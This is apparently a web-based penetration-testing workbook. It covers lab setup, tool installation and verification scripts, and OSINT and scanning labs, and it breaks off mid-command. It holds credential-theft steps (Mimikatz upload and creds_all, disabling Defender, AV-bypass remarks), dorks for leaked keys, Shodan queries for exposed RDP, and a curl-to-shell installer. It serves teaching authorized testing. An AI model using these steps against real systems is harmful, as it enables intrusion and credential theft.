All techniques in this workbook must only be practiced in authorized lab environments. Never perform these activities against systems you do not own or have explicit written permission to test. Unauthorized access is a criminal offense under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.
Intro Introduction to Penetration Testing
Penetration testing (pen testing) is the authorized, simulated attacking of computer systems, networks, and applications to find security weaknesses before malicious actors can exploit them. A professional penetration tester thinks and acts like an attacker — but with written permission.
Unlike vulnerability scanning (automated, passive), pen testing is human-led. Testers chain vulnerabilities, pivot through networks, and demonstrate real business impact — turning a list of CVEs into a coherent attack story that stakeholders can understand and act upon.
Types of Penetration Tests
| Type | Tester Knowledge | Description | Simulates |
|---|---|---|---|
| Black Box | None | No prior knowledge of target systems | External unknown attacker |
| Grey Box | Partial | Partial knowledge (network diagram, low-priv account) | Insider or compromised vendor |
| White Box | Full | Full access to source code, architecture, credentials | Thorough internal audit |
| Red Team | Varies | No scope restrictions; includes physical and social engineering | Advanced persistent threat (APT) |
| Purple Team | Full | Attacker and defender work together in real-time | Collaborative detection improvement |
The Five-Phase Lifecycle
Setup Lab Environment Setup
Before running any lab, you need an isolated, authorized environment. There are three setup options depending on your hardware and budget. Option A is recommended for most students.
🖥️ Option A — Local Virtual Lab (Recommended)
Run attacker and target VMs on your own machine using VirtualBox (free). No internet required, fully isolated, best for learning.
- VirtualBox 7.x (free) — virtualbox.org
- Kali Linux 2024 ISO — kali.org/get-kali
- Metasploitable 2 — rapid7.com/metasploitable
- DVWA via Docker — github.com/digininja/DVWA
- Windows 11 Eval VM — microsoft.com/evalcenter
- Network: Host-Only adapter (isolated)
☁️ Option B — Online Lab Platforms
Browser-based labs — no VM setup needed. Great for studying on the go or limited hardware.
- TryHackMe — tryhackme.com (beginner-friendly)
- HackTheBox — hackthebox.com (realistic machines)
- PentesterLab — pentesterlab.com (web focus)
- VulnHub — vulnhub.com (free downloadable VMs)
- PicoCTF — picoctf.org (CTF challenges)
🐳 Option C — Docker Compose Lab (Quick Start)
Spin up a full lab environment with one command. Requires Docker Desktop.
# Install Docker, then: docker pull vulnerables/web-dvwa # Damn Vulnerable Web App docker pull webgoat/goat-and-wolf # WebGoat (OWASP) docker pull citizenstig/nowasp # Mutillidae II docker pull bkimminich/juice-shop # OWASP Juice Shop (modern) # Run DVWA on port 80 docker run --rm -d -p 80:80 vulnerables/web-dvwa # Run OWASP Juice Shop on port 3000 docker run --rm -d -p 3000:3000 bkimminich/juice-shop
Kali Linux Essential Setup
# Update everything first sudo apt update && sudo apt upgrade -y # Install key tools not in default Kali sudo apt install -y gobuster feroxbuster ffuf seclists nuclei sudo apt install -y bloodhound neo4j impacket-scripts sudo apt install -y crackmapexec evil-winrm # Install additional wordlists sudo apt install -y seclists ls /usr/share/seclists/ # verify install # Start core services if needed sudo service postgresql start # needed for Metasploit database sudo msfdb init msfconsole
Tools Essential Toolset
Click any card to flip it and see the install command. Use the filters to browse by category.
Install Complete Tool Installation Guide
This section provides full installation instructions for every tool used in this workbook — including the install command, post-install verification, initial configuration, and common errors. Run these on a fresh Kali Linux install before starting any labs.
If you want to install all tools in one shot, run the master script below. It handles all apt, pip, and go installs. Estimated time: 10–15 minutes on a fresh Kali install with good internet.
#!/bin/bash # ── PENETRATION TESTING WORKBOOK — MASTER TOOL INSTALLER ────────── # Run on Kali Linux: chmod +x install.sh && sudo ./install.sh sudo apt update && sudo apt upgrade -y # ── APT TOOLS ──────────────────────────────────────────────────── sudo apt install -y \ nmap \ theharvester \ subfinder \ amass \ burpsuite \ sqlmap \ ffuf \ gobuster \ metasploit-framework \ hydra \ bloodhound \ neo4j \ crackmapexec \ evil-winrm \ wireshark \ tshark \ hashcat \ john \ nikto \ enum4linux \ seclists \ wordlists \ cewl \ responder \ impacket-scripts # ── PIP TOOLS ──────────────────────────────────────────────────── pip install --break-system-packages \ shodan \ scoutsuite \ pacu \ bloodhound \ impacket # ── GO TOOLS ───────────────────────────────────────────────────── sudo apt install -y golang go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest # ── METASPLOIT DATABASE INIT ───────────────────────────────────── sudo service postgresql start sudo msfdb init # ── WORDLISTS ──────────────────────────────────────────────────── sudo gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null echo "rockyou.txt lines: $(wc -l < /usr/share/wordlists/rockyou.txt)" echo "✅ All tools installed successfully."
📍 Individual Tool Installation
Use the sections below if you need to install specific tools or troubleshoot an installation.
Nmap — Network Mapper
# Install sudo apt install -y nmap # Verify installation nmap --version # Expected: Nmap 7.94 (or later) # Install NSE scripts update (vulnerability scripts) sudo nmap --script-updatedb # Test: quick scan of your own machine nmap -sV -T4 127.0.0.1 # Confirm script library is present ls /usr/share/nmap/scripts/ | wc -l # Should show 600+ scripts
theHarvester — OSINT Harvester
# Install via apt (Kali) sudo apt install -y theharvester # Or install latest from GitHub git clone https://github.com/laramies/theHarvester.git cd theHarvester pip install -r requirements/base.txt --break-system-packages # Verify theHarvester --version # Configure API keys for premium sources (optional but recommended) # Edit the API keys file: nano /etc/theHarvester/api-keys.yaml # Add keys for: Shodan, Hunter.io, VirusTotal, GitHub, Bing # Free keys available from each provider's website # Test with a quick run theHarvester -d google.com -b google -l 20 # Should return emails and hosts within 10–30 seconds
subfinder & amass — Subdomain Discovery
# ── SUBFINDER ──────────────────────────────────────────────────── # Option A: via apt sudo apt install -y subfinder # Option B: via Go (always gets latest version) go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest export PATH=$PATH:$(go env GOPATH)/bin echo 'export PATH=$PATH:$(go env GOPATH)/bin' >> ~/.bashrc # Verify subfinder subfinder -version # Configure subfinder API keys (massively improves results) mkdir -p ~/.config/subfinder nano ~/.config/subfinder/provider-config.yaml # Add keys for: Shodan, VirusTotal, SecurityTrails, Censys # ── AMASS ───────────────────────────────────────────────────────── sudo apt install -y amass # Verify amass amass -version # Configure amass API keys mkdir -p ~/.config/amass cp /usr/share/amass/examples/config.ini ~/.config/amass/config.ini nano ~/.config/amass/config.ini # Add API keys in the [data_sources] section # Test both tools subfinder -d example.com -silent | head -5 amass enum -passive -d example.com -timeout 2
Shodan CLI — Internet Asset Discovery
# Install Shodan CLI pip install shodan --break-system-packages # Verify shodan --version # Get free API key: register at https://account.shodan.io/register # Free tier: 1 API credit/second, limited results # Initialise with your API key: shodan init YOUR_API_KEY_HERE # Verify API key is working shodan info # Shows: query credits, scan credits, account plan # Test a basic search shodan search "apache" --limit 5 # Common error: "Error: Not enough query credits" # Fix: upgrade to a paid plan or use the web interface at shodan.io
Burp Suite Community Edition
# Install via apt (Kali — community edition) sudo apt install -y burpsuite # Launch burpsuite & # ── BROWSER PROXY CONFIGURATION ─────────────────────────────────── # Firefox (recommended — use a separate browser profile for testing): # 1. Settings → General → Network Settings → Manual proxy configuration # 2. HTTP Proxy: 127.0.0.1 Port: 8080 # 3. Check: "Also use this proxy for HTTPS" # 4. Click OK # ── INSTALL BURP CA CERTIFICATE (required for HTTPS interception) ─ # 1. With Firefox proxy set, browse to: http://burpsuite # 2. Click "CA Certificate" to download cacert.der # 3. Firefox → Settings → Privacy & Security → Certificates # 4. Click "View Certificates" → "Authorities" tab → "Import" # 5. Select cacert.der → check "Trust this CA to identify websites" # ── FOXY PROXY EXTENSION (easier proxy switching) ───────────────── # Install from Firefox Add-ons: "FoxyProxy Standard" # Add a profile: Proxy: 127.0.0.1 Port: 8080 # Toggle on/off with one click — much easier than manual settings # Verify: browse to any HTTPS site with Burp intercept ON # You should see the request appear in Proxy → HTTP history
sqlmap, ffuf & Gobuster
# ── SQLMAP ─────────────────────────────────────────────────────── sudo apt install -y sqlmap sqlmap --version # Expected: sqlmap/1.7.x # Or get latest from GitHub (more up to date than apt) git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git ~/tools/sqlmap alias sqlmap='python3 ~/tools/sqlmap/sqlmap.py' echo "alias sqlmap='python3 ~/tools/sqlmap/sqlmap.py'" >> ~/.bashrc # ── FFUF ───────────────────────────────────────────────────────── sudo apt install -y ffuf ffuf -V # Expected: ffuf v2.x # Or install via Go (latest) go install github.com/ffuf/ffuf/v2@latest # ── GOBUSTER ───────────────────────────────────────────────────── sudo apt install -y gobuster gobuster version # ── WORDLISTS (required for ffuf and gobuster) ──────────────────── sudo apt install -y seclists ls /usr/share/seclists/Discovery/Web-Content/ # You need these key wordlists: # directory-list-2.3-medium.txt — directory brute-forcing # raft-medium-files.txt — file discovery # burp-parameter-names.txt — parameter fuzzing
Metasploit Framework
# Install (if not on Kali) sudo apt install -y metasploit-framework # ── CRITICAL: Set up PostgreSQL database ───────────────────────── # Without DB, Metasploit works but can't store hosts/services/loot sudo service postgresql start sudo systemctl enable postgresql # start on boot sudo msfdb init # Expected: "[+] Starting database", "[+] Creating database user 'msf'" # Verify DB connection msfconsole -q -x "db_status; exit" # Expected: "postgresql connected to msf" # Update Metasploit (important — new exploits added regularly) sudo apt update && sudo apt install -y metasploit-framework # Or from within msfconsole: msfconsole -q -x "msfupdate; exit" # Verify module count msfconsole -q -x "search type:exploit; exit" 2>/dev/null | tail -3 # Common error: "No database support: No database YAML file" # Fix: sudo msfdb reinit
Hydra — Password Brute-Forcer
# Install sudo apt install -y hydra hydra-gtk # hydra-gtk = graphical interface (optional) # Verify hydra -h 2>&1 | head -5 # Expected: "Hydra v9.x (c) 2023 by van Hauser..." # Verify supported protocols hydra -U ssh # Shows all options for the SSH module # Quick connection test (safe — just checks if host is reachable) hydra -l test -p test -t 1 ssh://127.0.0.1 2>&1 | head -5 # Common error: "Error: could not resolve address" # Fix: verify target IP is correct and reachable: ping TARGET_IP # Common error: too many connections crashing target # Fix: reduce threads with -t 4 (default is 16)
Mimikatz — Windows Credential Extractor
Mimikatz is detected and blocked by virtually all antivirus products. For lab use, disable Windows Defender on your Windows Eval VM before downloading or running it. In real engagements, obfuscated versions or in-memory execution via Metasploit Kiwi are used to bypass AV.
# ── OPTION A: Download pre-compiled binary (Windows target) ─────── # On your KALI machine, download the release: mkdir -p ~/tools/mimikatz && cd ~/tools/mimikatz wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip unzip mimikatz_trunk.zip # Binary is in: x64/mimikatz.exe (for 64-bit Windows targets) # Transfer to Windows target via Meterpreter: meterpreter > upload ~/tools/mimikatz/x64/mimikatz.exe C:\\Windows\\Temp\\m.exe # ── OPTION B: Kiwi extension (recommended — no file on disk) ────── # Already built into Metasploit — no download needed: # From an active Meterpreter session: meterpreter > load kiwi meterpreter > creds_all # ── DISABLE WINDOWS DEFENDER (on your lab VM only) ──────────────── # PowerShell (run as Administrator on Windows VM): Set-MpPreference -DisableRealtimeMonitoring $true Add-MpPreference -ExclusionPath "C:\Windows\Temp" # Verify Mimikatz runs on Windows target: C:\Windows\Temp\m.exe "privilege::debug" "exit" # Expected: "Privilege '20' OK"
BloodHound & Neo4j
# ── STEP 1: Install Java (required for Neo4j) ───────────────────── sudo apt install -y default-jdk java -version # Expected: openjdk version "11.x" or later # ── STEP 2: Install Neo4j ───────────────────────────────────────── sudo apt install -y neo4j # ── STEP 3: Start Neo4j and set password ───────────────────────── sudo neo4j start sudo neo4j status # confirm running # Open http://localhost:7474 in browser # Login: neo4j / neo4j # REQUIRED: Change password on first login (e.g., bloodhound) # Remember this password — you need it to log into BloodHound # ── STEP 4: Install BloodHound ──────────────────────────────────── sudo apt install -y bloodhound # ── STEP 5: Install bloodhound-python (remote data collector) ───── pip install bloodhound --break-system-packages bloodhound-python --version # ── STEP 6: Launch and verify ──────────────────────────────────── bloodhound & # Login with: neo4j / YOUR_NEW_PASSWORD # You should see the BloodHound GUI with an empty database # Make Neo4j start automatically on boot: sudo systemctl enable neo4j # Common error: "Connection refused" when starting BloodHound # Fix: Neo4j isn't running — sudo neo4j start, wait 10 seconds, try again # Common error: "Authentication failure" # Fix: reset Neo4j password: # sudo neo4j stop → sudo rm -rf /var/lib/neo4j/data/dbms/auth → sudo neo4j start # Then re-set password at http://localhost:7474
CrackMapExec & Evil-WinRM
# ── CRACKMAPEXEC ───────────────────────────────────────────────── sudo apt install -y crackmapexec crackmapexec --version # Expected: 5.4.x or later # Or install from pipx for latest version (avoids dependency conflicts) sudo apt install -y pipx pipx install crackmapexec pipx ensurepath && source ~/.bashrc # Verify all protocols work crackmapexec smb --help 2>&1 | head -5 crackmapexec winrm --help 2>&1 | head -5 crackmapexec ldap --help 2>&1 | head -5 # ── EVIL-WINRM (interactive WinRM shell) ───────────────────────── sudo apt install -y evil-winrm # Or via gem: sudo gem install evil-winrm evil-winrm --version # Test connection to your Windows lab VM (port 5985 must be open): evil-winrm -i TARGET_IP -u administrator -p "Password123" # CME database (stores discovered hosts, users, hashes across sessions) cmedb # opens interactive CME database shell
Wireshark & tshark
# Install Wireshark + tshark (CLI version) sudo apt install -y wireshark tshark # During install: "Should non-superusers be able to capture packets?" → Yes # Add your user to the wireshark group (allows capture without sudo) sudo usermod -aG wireshark $USER newgrp wireshark # apply group change without logout # Verify versions wireshark --version | head -1 tshark --version | head -1 # List available network interfaces tshark -D # Note your lab interface name (eth0, ens33, or similar) # Test capture (run for 5 seconds, then stop) sudo tshark -i eth0 -c 20 # Should show 20 captured packets # Common error: "permission denied" on /dev/bpf # Fix: sudo chmod 640 /dev/bpf* (macOS) or re-run usermod command above (Linux)
Hashcat & John the Ripper
# ── HASHCAT ────────────────────────────────────────────────────── sudo apt install -y hashcat hashcat --version # Expected: v6.2.x or later # Check GPU support (hashcat is MUCH faster with a GPU) hashcat -I # Lists available OpenCL/CUDA devices # If running in a VM: GPU passthrough needed for real GPU acceleration # VMs typically use CPU mode — still works, just slower # Install GPU drivers (physical Kali install with NVIDIA GPU) sudo apt install -y nvidia-driver nvidia-cuda-toolkit sudo reboot hashcat -I # now should show your GPU # Benchmark your hardware (see how fast cracking will be) hashcat -b -m 0 # MD5 benchmark hashcat -b -m 1000 # NTLM benchmark # Verify rockyou.txt wordlist is available ls -lh /usr/share/wordlists/rockyou.txt 2>/dev/null || \ sudo gunzip /usr/share/wordlists/rockyou.txt.gz wc -l /usr/share/wordlists/rockyou.txt # Should show ~14 million lines # Quick test — crack a known MD5 hash ("password") echo "5f4dcc3b5aa765d61d8327deb882cf99" | \ hashcat -m 0 -a 0 - /usr/share/wordlists/rockyou.txt --quiet # ── JOHN THE RIPPER ─────────────────────────────────────────────── sudo apt install -y john # Install jumbo version (more formats, more rules — highly recommended) sudo apt install -y john-data # Verify john --list=formats | head -20 # Should list 400+ supported formats # Quick test echo "5f4dcc3b5aa765d61d8327deb882cf99" > /tmp/test.hash john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt /tmp/test.hash john --show --format=raw-md5 /tmp/test.hash # Expected output: ?:password # Common error: "No password hashes loaded" # Fix: specify the correct --format= flag for your hash type
ScoutSuite & Pacu — Cloud Security Tools
# ── AWS CLI (required for both tools) ──────────────────────────── sudo apt install -y awscli aws --version # Expected: aws-cli/2.x.x # Configure AWS credentials aws configure # Enter: AWS Access Key ID → Secret Key → Region (us-east-1) → json # Verify: aws sts get-caller-identity # Expected: your Account ID, UserID, and ARN # ── SCOUTSUITE ──────────────────────────────────────────────────── pip install scoutsuite --break-system-packages scout --version # Expected: ScoutSuite 5.x.x # Test with a quick AWS scan (read-only, safe) scout aws --report-dir /tmp/scout_test --max-workers 5 # Opens HTML report when complete # ── PACU ───────────────────────────────────────────────────────── pip install pacu --break-system-packages pacu --version 2>/dev/null || echo "pacu installed — run 'pacu' to start" # ── CLOUDGOAT (deliberate vulnerable AWS lab) ───────────────────── pip install cloudgoat --break-system-packages cloudgoat --version # Initialise CloudGoat with your admin AWS profile cloudgoat config profile # Enter your AWS profile name (from aws configure) cloudgoat config whitelist --auto # Whitelists your current IP address # List available vulnerable scenarios cloudgoat list # Common error: "No module named 'botocore'" # Fix: pip install botocore boto3 --break-system-packages
SecurityAudit managed policy). For Pacu exploitation labs, always use the CloudGoat environment — never run exploitation modules against real production AWS accounts.✅ Post-Installation Verification Checklist
Run this checklist after installing to confirm everything is working before starting any labs.
#!/bin/bash # Run this script to verify all tools are correctly installed echo "=== PENETRATION TESTING WORKBOOK — TOOL VERIFICATION ===" echo "" check() { if command -v "$1" &>/dev/null; then echo " ✅ $2" else echo " ❌ $2 — NOT FOUND (install with: $3)" fi } echo "[ RECON ]" check nmap "Nmap" "sudo apt install nmap" check theharvester "theHarvester" "sudo apt install theharvester" check subfinder "subfinder" "sudo apt install subfinder" check amass "amass" "sudo apt install amass" check shodan "Shodan CLI" "pip install shodan" echo "" echo "[ WEB ]" check burpsuite "Burp Suite" "sudo apt install burpsuite" check sqlmap "sqlmap" "sudo apt install sqlmap" check ffuf "ffuf" "sudo apt install ffuf" check gobuster "gobuster" "sudo apt install gobuster" check nikto "Nikto" "sudo apt install nikto" echo "" echo "[ EXPLOITATION ]" check msfconsole "Metasploit" "sudo apt install metasploit-framework && sudo msfdb init" check hydra "Hydra" "sudo apt install hydra" echo "" echo "[ POST-EXPLOITATION ]" check bloodhound "BloodHound" "sudo apt install bloodhound neo4j" check crackmapexec "CrackMapExec" "sudo apt install crackmapexec" check evil-winrm "Evil-WinRM" "sudo gem install evil-winrm" echo "" echo "[ NETWORK ]" check wireshark "Wireshark" "sudo apt install wireshark" check tshark "tshark" "sudo apt install tshark" echo "" echo "[ PASSWORDS ]" check hashcat "Hashcat" "sudo apt install hashcat" check john "John the Ripper" "sudo apt install john" echo "" echo "[ CLOUD ]" check aws "AWS CLI" "sudo apt install awscli" check scout "ScoutSuite" "pip install scoutsuite" check pacu "Pacu" "pip install pacu" echo "" echo "[ WORDLISTS ]" if [ -f /usr/share/wordlists/rockyou.txt ]; then echo " ✅ rockyou.txt ($(wc -l < /usr/share/wordlists/rockyou.txt | xargs) lines)" else echo " ❌ rockyou.txt — run: sudo gunzip /usr/share/wordlists/rockyou.txt.gz" fi if [ -d /usr/share/seclists ]; then echo " ✅ SecLists" else echo " ❌ SecLists — run: sudo apt install seclists" fi echo "" echo "=== VERIFICATION COMPLETE ==="
Phase 1 Reconnaissance
Reconnaissance is the foundation of every penetration test. The more intelligence gathered before touching the target, the more precise and effective all subsequent phases will be. Recon divides into passive (no direct contact with target) and active (direct interaction).
Passive Recon — OSINT Sources
- WHOIS records — domain registration data, registrant contacts, creation/expiry dates, name servers.
- DNS records — A, MX, NS, TXT, SOA, CNAME records revealing infrastructure layout and mail providers.
- Certificate Transparency Logs — crt.sh reveals all TLS certificates ever issued, exposing subdomains.
- LinkedIn / social media — employee names, job titles, org structure, technology mentions in job postings.
- Shodan / Censys — internet-facing assets, exposed ports, service banners, SSL cert info.
- Google Dorking — advanced search operators to find exposed files, login pages, and sensitive data.
- GitHub / GitLab — leaked API keys, credentials, and internal code pushed accidentally.
OSINT Tool Reference
| Tool | Purpose | Command |
|---|---|---|
| whois | Domain registration info | whois target.com |
| dig | DNS record enumeration | dig target.com ANY +noall +answer |
| theHarvester | Email & subdomain harvesting | theHarvester -d target.com -b google,bing |
| subfinder | Passive subdomain discovery | subfinder -d target.com -silent |
| crt.sh | Certificate transparency | curl -s 'https://crt.sh/?q=%.target.com&output=json' |
| Shodan CLI | Internet-facing asset discovery | shodan search "org:targetorg" |
| trufflehog | Secret scanning in git repos | trufflehog git https://github.com/org/repo |
| amass | Attack surface discovery | amass enum -passive -d target.com |
Shodan CLI & amass — Command Reference
# Install and initialise Shodan CLI pip install shodan shodan init YOUR_API_KEY # free API key from shodan.io # Search for a specific organisation's internet-facing assets shodan search "org:TargetOrg" --fields ip_str,port,product,version # Search for a specific hostname shodan search "hostname:target.com" # Get full details on a specific IP shodan host 93.184.216.34 # Find all Apache 2.2.x servers (old, vulnerable version) shodan search "apache/2.2" --fields ip_str,port,org # Find exposed RDP servers in a specific country shodan search "port:3389 country:NG" --fields ip_str,org
# Install amass sudo apt install amass # Passive enumeration only (no DNS brute-force, no direct contact) amass enum -passive -d target.com -o amass_passive.txt # Active enumeration (DNS brute-force + passive — more thorough) amass enum -active -d target.com -o amass_active.txt # Visualise the attack surface as a network graph amass viz -d3 -d target.com -o amass_graph.html # Track changes over time (great for monitoring) amass track -d target.com # Compare amass results with subfinder for maximum coverage cat amass_passive.txt subdomains.txt | sort -u | tee all_subdomains_combined.txt
| Dork | Finds | Example |
|---|---|---|
site:target.com filetype:pdf | PDF documents indexed from the domain | Reports, proposals, org charts |
site:target.com inurl:admin | Admin panels and login pages | CMS backends, management portals |
intitle:"index of" site:target.com | Open directory listings | Exposed file servers |
site:target.com ext:sql OR ext:bak | Database and backup file leaks | SQL dumps, config backups |
"@target.com" -site:target.com | Emails mentioned externally | Employee contacts, format patterns |
site:github.com "target.com" password | Credentials leaked to GitHub | API keys, DB passwords |
Passive OSINT Reconnaissance on a Practice Domain
Use hackthissite.org — a legal practice target that explicitly permits security testing. Do not substitute any other target without explicit written permission.
- Enumerate WHOIS, DNS, and certificate transparency data for a legal practice domain.
- Identify email formats and subdomains using theHarvester and subfinder.
- Map the external footprint without sending any packets to the target's servers.
- Compile an intelligence report from all sources gathered.
- Open a Kali terminal and create a working directory for this lab.
- Run a WHOIS lookup and save the output — note the registrar, registrant, name servers, and expiry date.
- Query all DNS record types using dig. Look for A records (server IPs), MX records (mail servers), TXT records (SPF, DMARC, verification tokens), and NS records (name servers).
- Use subfinder to passively enumerate subdomains from DNS intelligence APIs without querying the target directly.
- Run theHarvester across multiple OSINT sources to collect email addresses and additional subdomains.
- Query certificate transparency logs via crt.sh API — this often reveals internal or staging subdomains not found elsewhere.
- Compile all findings and fill in the Lab Report Template (Appendix A).
# Step 1: Create working directory mkdir -p ~/pentest/lab1 && cd ~/pentest/lab1 # Step 2: WHOIS lookup whois hackthissite.org | tee whois.txt # Note: Registrar, Registrant, Name Servers, Creation Date, Expiry Date # Step 3: Full DNS enumeration dig hackthissite.org ANY +noall +answer | tee dns_any.txt dig hackthissite.org A +short dig hackthissite.org MX +short dig hackthissite.org TXT +short dig hackthissite.org NS +short # Step 4: Passive subdomain enumeration subfinder -d hackthissite.org -silent -o subdomains.txt cat subdomains.txt | wc -l # how many subdomains found? # Step 5: OSINT harvesting (emails, subdomains) theHarvester -d hackthissite.org -b google,bing,linkedin -l 200 -f lab1_harvest # Step 6: Certificate transparency via crt.sh curl -s 'https://crt.sh/?q=%.hackthissite.org&output=json' \ | python3 -c "import sys,json; [print(e['name_value']) for e in json.load(sys.stdin)]" \ | sort -u | tee crt_subdomains.txt # Step 7: Combine all unique subdomains found cat subdomains.txt crt_subdomains.txt | sort -u | tee all_subdomains.txt echo "Total unique subdomains found:" && wc -l all_subdomains.txt
| Finding Type | What You Found | Significance |
|---|---|---|
| Registrar | (fill in) | Potential registrar account takeover vector |
| Mail Provider (MX) | (fill in) | Reveals email platform for phishing recon |
| SPF Record | (fill in) | Weak SPF = email spoofing possible |
| Subdomains found | (fill in count) | Each subdomain is a potential attack surface |
| Interesting subdomain | (fill in) | E.g., staging.target.com often less hardened |
GitHub Secret Scanning & Google Dorking
- Use Google advanced operators to find exposed sensitive files and login pages.
- Search GitHub for accidentally committed credentials (using a known-vulnerable demo repo).
- Understand why developers accidentally leak secrets and how to find them.
- Open Google and try each dork from the reference table against a practice target (use your own test domain or hackthissite.org). Record every result.
- Search GitHub for the public demo repo:
trufflesecurity/trufflehogwhich contains intentional test secrets. Explore what kinds of secrets are embedded. - Install trufflehog and scan the demo repo to find secrets automatically.
- Use
gitdorkerto search GitHub for exposed credentials related to a specific domain. - Document each secret found, its type, and why it's dangerous.
# Install trufflehog (modern secret scanner) pip3 install trufflehog # Or download binary: curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sudo sh -s -- -b /usr/local/bin # Scan a demo repo with known test secrets trufflehog git https://github.com/trufflesecurity/test_keys --only-verified # Scan a local git repository trufflehog git file://. --only-verified # Google dorks to try manually in browser: # site:github.com "AWS_SECRET_ACCESS_KEY" # site:github.com "password" "api_key" "BEGIN RSA PRIVATE KEY" # inurl:pastebin.com "password" "username"
Phase 2 Scanning & Enumeration
Scanning transforms reconnaissance data into an actionable target map. You identify open ports, running services, OS versions, and potential entry points. Enumeration goes deeper — extracting usernames, shares, banners, and configuration details from each service.
Nmap Flag Reference
| Flag | Function | Example |
|---|---|---|
-sn | Host discovery (ping sweep) — no port scan | nmap -sn 192.168.1.0/24 |
-sS | TCP SYN scan (stealth, requires root) | nmap -sS 10.0.0.1 |
-sV | Service / version detection | nmap -sV 10.0.0.1 |
-sC | Run default NSE scripts | nmap -sC 10.0.0.1 |
-O | OS fingerprinting | nmap -O 10.0.0.1 |
-p- | Scan all 65,535 ports | nmap -p- 10.0.0.1 |
-sU | UDP scan | nmap -sU -p 53,161,123 10.0.0.1 |
-T4 | Aggressive timing (faster) | nmap -T4 10.0.0.1 |
-oA | Save output in all formats | nmap -oA scan_output 10.0.0.1 |
--script vuln | Run all vulnerability-check scripts | nmap --script vuln 10.0.0.1 |
--script smb-vuln-* | Run all SMB vulnerability scripts | nmap --script smb-vuln-* 10.0.0.1 |
Wireshark — Packet Capture & Analysis
Wireshark captures all network traffic passing through your interface. In a lab environment, it can reveal cleartext credentials (Telnet, FTP, HTTP Basic Auth), C2 beaconing patterns, and help you understand exactly what your exploit payloads look like on the wire.
# Launch Wireshark GUI (run as root in lab) sudo wireshark & # ── TSHARK (Wireshark CLI — great for scripting) ─────────────────── # Capture on interface eth0 and save to file sudo tshark -i eth0 -w capture.pcap # Capture only traffic to/from the target sudo tshark -i eth0 -f "host 192.168.56.101" -w target_traffic.pcap # Extract HTTP credentials from a pcap tshark -r capture.pcap -Y "http.request.method == POST" \ -T fields -e http.file_data # Find all FTP/Telnet cleartext credentials in a capture tshark -r capture.pcap -Y "ftp || telnet" \ -T fields -e text 2>/dev/null | grep -i "pass\|user\|login" # Follow a TCP stream (great for seeing full session) # In Wireshark GUI: Right-click packet → Follow → TCP Stream # Count connections per destination IP (detect scanning) tshark -r capture.pcap -T fields -e ip.dst | sort | uniq -c | sort -rn | head -20
Burp Suite — Proxy Setup & Key Workflows
# Launch Burp Suite (pre-installed in Kali) burpsuite & # ── BROWSER PROXY SETUP ─────────────────────────────────────────── # Firefox: Settings → Network Settings → Manual proxy: # HTTP Proxy: 127.0.0.1 Port: 8080 # ✓ Also use this proxy for HTTPS # # Install Burp's CA certificate to intercept HTTPS: # 1. Visit http://burpsuite in Firefox # 2. Download CA cert # 3. Firefox → Preferences → Privacy → Certificates → Import # ── KEY BURP SUITE WORKFLOWS ────────────────────────────────────── # 1. Intercept a request: # Proxy → Intercept → Intercept is ON → browse target # # 2. Send to Repeater (modify & replay): # Right-click request → Send to Repeater → Ctrl+R # # 3. Send to Intruder (automated fuzzing): # Right-click → Send to Intruder → mark §injection points§ → Payloads # # 4. Decode/encode values: # Highlight text → right-click → Send to Decoder # Supports: URL, Base64, HTML, Hex encoding/decoding # ── USEFUL BURP KEYBOARD SHORTCUTS ─────────────────────────────── # Ctrl+R = Send to Repeater # Ctrl+I = Send to Intruder # Ctrl+F = Forward intercepted request # Ctrl+Shift+F = Drop intercepted request
theHarvester — Full OSINT Harvesting Workflow
theHarvester is a passive OSINT tool that aggregates data from 30+ public sources — Google, Bing, LinkedIn, Twitter/X, VirusTotal, Shodan, Hunter.io, and more. It collects email addresses, employee names, subdomains, IP addresses, and open ports without ever contacting the target directly. It is typically the first tool run on every engagement.
- Run theHarvester against multiple OSINT sources and compare results.
- Extract email addresses and identify the target organisation's email format.
- Discover subdomains not found by other tools.
- Identify employee names for social engineering research.
- Export structured output and integrate findings into your recon report.
- Create a working directory and start your engagement log with a timestamp.
- Run a broad harvest across all available sources using the
-b allflag. This queries every source theHarvester supports simultaneously. - Run source-specific queries for the most reliable sources: Google, Bing, LinkedIn, and VirusTotal separately. Different sources return different data — comparing results finds gaps.
- Review the email list. Identify the format (e.g., firstname.lastname@company.com). This lets you construct email addresses for employees found on LinkedIn even if their email isn't public.
- Cross-reference any subdomains found against your subfinder output from Lab 1.1 — any new additions go into your master list.
- Export results as an HTML report for your lab submission using the
-fflag. - Document the email format pattern discovered and note any interesting subdomains (dev., staging., vpn., mail.) in your lab report.
# Step 1: Create lab directory mkdir -p ~/pentest/lab1c && cd ~/pentest/lab1c # Step 2: Broad harvest across ALL sources (takes a few minutes) theHarvester -d hackthissite.org -b all -l 500 -f all_sources # -d = target domain -b = sources -l = result limit -f = output file # Step 3: Individual source queries for reliability theHarvester -d hackthissite.org -b google -l 300 | tee google_results.txt theHarvester -d hackthissite.org -b bing -l 300 | tee bing_results.txt theHarvester -d hackthissite.org -b linkedin -l 200 | tee linkedin_results.txt theHarvester -d hackthissite.org -b virustotal -l 200 | tee vt_results.txt theHarvester -d hackthissite.org -b dnsdumpster | tee dns_results.txt # Step 4: Extract just the emails from all output files grep -h "@hackthissite.org" *_results.txt | sort -u | tee emails_found.txt cat emails_found.txt # Look at the format: firstname.lastname? f.lastname? firstnamelastname? # Step 5: Extract all unique subdomains discovered grep -h "\." *_results.txt | grep "hackthissite.org" \ | grep -v "@" | sort -u | tee harvester_subdomains.txt # Step 6: Merge with previous subdomain lists cat harvester_subdomains.txt ../lab1/all_subdomains.txt \ | sort -u | tee ~/pentest/master_subdomains.txt echo "Total unique subdomains across all tools:" wc -l ~/pentest/master_subdomains.txt # Step 7: Generate clean HTML report theHarvester -d hackthissite.org -b google,bing,virustotal \ -l 500 -f ~/pentest/lab1c/harvester_report # Opens harvester_report.html in browser — screenshot this for your lab submission # Step 8: Check which subdomains are actually alive cat ~/pentest/master_subdomains.txt | httpx -status-code -title -tech-detect \ | tee 